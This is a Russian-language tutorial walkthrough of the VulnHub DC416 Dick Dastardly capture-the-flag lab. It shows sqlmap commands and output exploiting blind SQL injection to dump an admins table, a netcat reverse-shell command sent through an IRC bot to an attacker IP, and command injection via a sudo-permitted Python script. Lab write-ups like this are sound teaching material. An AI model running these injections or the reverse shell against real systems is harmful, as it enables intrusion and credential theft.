VulnHub: Разбор DC416 Dick Dastardly

  • Tutorial

Команда VulnHub подготовила целую серию квестов, с конференции DefCon Toronto's, скачать и опробовать которые вы можете по ссылке.

А в этой статье будет разбор DC416 Dick Dastardly

Начнём


Nmap, кроме портов 22 и 80 больше ничего не выдал, поэтому переходим к поиску скрытых директорий:

$ sudo dirsearch -r -f -u 'http://192.168.1.68/' -e php,txt,bak,json,html -w /usr/share/dirb/wordlists/big.txt  -x 403



Видим тут интересный редирект на index.php. Посмотрим что там:



Запускаем sqlmap:

$ sudo sqlmap -u 'http://192.168.1.68/index.php' --data='name=asd&msg=asd' --random-agent --level=5 --risk=3 --batch

POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 6638 HTTP(s) requests:
— Parameter: name (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: name=asd'||(SELECT 'Uknw' FROM DUAL WHERE 1538=1538 AND SLEEP(5))||'&msg=asd
— [00:52:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12

Инъекция есть, но раскрутить sqlmap её не смог. Переходим ко второй форме:

$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --tables

Видим сообщение, и корректируем параметры sqlmap'а:
[13:17:56] [INFO] POST parameter 'issue' appears to be 'MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string=«an»)

После повторного запуска, sqlmap раскрутил инъекцию. И отобразил список таблиц.
Дампим таблицу admins

$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --string="an" --dbms=MySQL -D vulnhub --batch -T admins --dump



Нашли пароль в открытом виде и логин. Авторизуемся:



Попадаем в web админку IRC бота. Тут можно изменить владельца бота. Впишу туда логин и пароль, которые удалось вытянуть из БД. Далее естественно нажимаем добавить свой IP в белый лист, и активировать бота.

Повторно запустим nmap:



Коннектимся на запущенный IRC сервер, видим приветствие:



Посмотрим список каналов:

/list

Нахоим там канал #vulnhub и подключаемся к нему:

/join #vulnhub

Я использовал XChat, справа в списке пользователей на канале, можно увидеть бота, которого мы запустили: vulnhub-bot. Начнём с ним диалог:



Флаг найден, но это второй флаг… Где-то пропустили первый. Запускаем nikto и находим первый флаг:

$ sudo nikto -host http://192.168.1.68 -C all
+ Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f}


Имея шелл через IRC открываем себе полноценную консоль:

$ netcat -lvp 9999

Боту отправляем команду:

Unix shell netcat -e /bin/sh 192.168.1.124 9999

Посмотрев список процессов, я нашёл один из них, запущенный от root, крайне необычным:
ping -c 1 -b 192.168.1.255 -p 725f796f755f6265636f6d655f746865 2

Хм это интересно, запустив WireShark в ICMP пакетах находим flag0:

flag0{the_quieter_you_become_the_more_you_are_able_to_hear}

Остался последний. Посмотрим какие привилегии доступны текущему пользователю:

sudo -l

Matching Defaults entries for rasta on DickDastardly:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rasta may run the following commands on DickDastardly:
(vulnhub) NOPASSWD: /usr/bin/python /usr/local/sbin/util.py

Видимо, это не просто так:

sudo -u vulnhub python /usr/local/sbin/util.py

После запуска получаем такой интерактивный вывод:



Не так много функций доступно, осмотревшись, я нашёл последний флаг:



Точнее место где он лежит. Я попробовал вставить свою команду, и при выборе листинга директорий, это получилось:



Отлично, все флаги собраны, пусть и не в правильном порядке!
Share post

Similar posts

AdBlock has stolen the banner, but banners are not teeth — they will be back

More
Ads

Comments 0

Only users with full accounts can post comments. Log in, please.